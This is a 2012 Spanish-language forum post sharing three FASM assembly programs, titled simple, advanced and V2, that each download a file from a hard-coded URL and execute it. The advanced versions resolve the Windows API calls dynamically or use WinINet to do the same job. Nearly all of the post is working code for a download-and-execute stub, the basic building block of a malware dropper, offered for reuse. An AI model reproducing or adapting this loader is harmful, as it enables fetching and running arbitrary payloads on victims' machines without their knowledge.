[FASM] Download & Execute

Iniciado por ANTRAX, Abril 12, 2012, 10:47:20 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 12, 2012, 10:47:20 AM Ultima modificación: Junio 03, 2013, 11:49:30 AM por Expermicid
Simple Download and execute:

Código: asm
format PE GUI 4.0
; ASM Downloader Tutorial
; Simple Version
; Download and Execute a File
; 2012 By WireMask - wiremask.eu

; choose Entry point
entry start
include 'include\win32a.inc'
; Declare Constants
section '.data' data readable writeable
_file db 'file.htm',0
_url db 'http://wiremask.eu/',0

section '.code' code readable executable
; Entry point
start:
; Call download of _url
invoke URLDownloadToFile, 0, _url, _file, 0, 0
; Call execution of _file
invoke ShellExecute, 0, 0, _file, 0, 0, SW_SHOW
; Exit Application
invoke ExitProcess, 0

; Declare API
section '.idata' import data readable
library kernel32,'kernel32.dll',\
urlmon,'urlmon.dll',\
shell32,'shell32.dll'
import kernel32,\
ExitProcess,'ExitProcess'
import urlmon,\
URLDownloadToFile,'URLDownloadToFileA'
import shell32,\
ShellExecute,'ShellExecuteA'


Advanced Download and Execute

Código: asm
format PE GUI 4.0
; ASM Downloader Tutorial
; Advanced Version ( Dynamic )
; Download and Execute a File
; 2012 By WireMask - wiremask.eu

; choose Entry point
entry start
include 'include\win32a.inc'
; Declare Constants
section '.data' data readable writeable
_urlmon db 'urlmon.dll',0
_shell db 'shell32.dll',0
_URLDownloadToFile db 'URLDownloadToFileA',0
_ShellExecute db 'ShellExecuteA',0;

_url db 'http://wiremask.eu/',0
_file db 'file.htm',0

section '.code' code readable executable
start:
; Load urlmon.dll
invoke LoadLibrary, _urlmon
cmp eax, 0
je exit
; Get adress of URLDownloadToFileA function
invoke GetProcAddress, eax, _URLDownloadToFile
cmp eax, 0
je exit
; Set parameters of URLDownloadToFileA
push eax
push 0
push 0
push _file
push _url
push 0
; Call URLDownloadToFileA
call eax
pop eax
; Free urlmon.dll
invoke FreeLibrary, eax

; Load shell32.dll
invoke LoadLibrary, _shell
cmp eax, 0
je exit
; Get adress of ShellExecute function
invoke GetProcAddress, eax, _ShellExecute
cmp eax, 0
je exit
; Set parameters of ShellExecute
push eax
push SW_SHOW
push 0
push 0
push _file
push 0
push 0
; Call ShellExecute
call eax
pop eax
; Free shell32.dll
invoke FreeLibrary, eax

exit:
; Exit Application
invoke ExitProcess, 0

; Declare API
section '.idata' import data readable
library kernel32,'kernel32.dll'

import kernel32, ExitProcess, 'ExitProcess',\
LoadLibrary,'LoadLibraryA',\
GetProcAddress, 'GetProcAddress',\
FreeLibrary, 'FreeLibrary'


Advanced Download and Execute V2

Código: asm
format PE GUI 4.0
; ASM Downloader
; Advanced Version ( InternetOpenUrl )
; Download and Execute a File
; 2012 By Wiremask.eu

; choose Entry point
entry start
include 'include/win32a.inc'
; Declare Constants and variables
section '.data' data readable writeable
_url            db 'http://wiremask.eu/', 0
_file           db 'file.htm', 0
InetHandle      dd ?
UrlHandle       dd ?
FileHandle      dd ?
ReadNext        dd ?
DownloadBuffer  rb 400h
BufferLength    = $ - DownloadBuffer
BytesWritten    dd ?

section '.code' code readable executable
; Entry point
start:
; Initializes an application's use of the WinINet function
invoke InternetOpen,_url,0,0,0,0

cmp eax, 0
je DownloadFileError
mov dword [InetHandle], eax

; Opens a file specified _url
invoke InternetOpenUrl,dword [InetHandle],_url,0,0,0,0

cmp eax, 0
je DownloadFileError
mov dword [UrlHandle], eax

; Create File with specific attributes
invoke CreateFile,_file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0

cmp eax, 0
je DownloadFileError
mov dword [FileHandle], eax
inc dword [ReadNext]

ReadNextBytes:
cmp dword [ReadNext], 0
je DownloadComplete

; Read data from UrlHandle
invoke InternetReadFile,dword [UrlHandle],DownloadBuffer,BufferLength,ReadNext

; Write data to _file
invoke WriteFile,dword [FileHandle],DownloadBuffer,dword [ReadNext],BytesWritten,0

jmp ReadNextBytes

DownloadComplete:
invoke CloseHandle,dword [FileHandle]
invoke InternetCloseHandle,dword [UrlHandle]
invoke InternetCloseHandle,dword [InetHandle]

Execute:
; Call execution of _file
invoke ShellExecute,0,0,_file,0,0,SW_SHOW

DownloadFileError:
jmp Exit

Exit:
invoke ExitProcess,0

section '.idata' import data readable
library kernel, 'kernel32.dll',\
        wininet, 'wininet.dll',\
shell32, 'shell32.dll'

import  kernel,\
        WriteFile, 'WriteFile',\
        CreateFile, 'CreateFileA',\
        CloseHandle, 'CloseHandle',\
        ExitProcess, 'ExitProcess'

import  wininet,\
        InternetOpen, 'InternetOpenA',\
        InternetOpenUrl, 'InternetOpenUrlA',\
        InternetReadFile, 'InternetReadFile',\
        InternetCloseHandle, 'InternetCloseHandle'

import shell32,\
ShellExecute, 'ShellExecuteA'


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta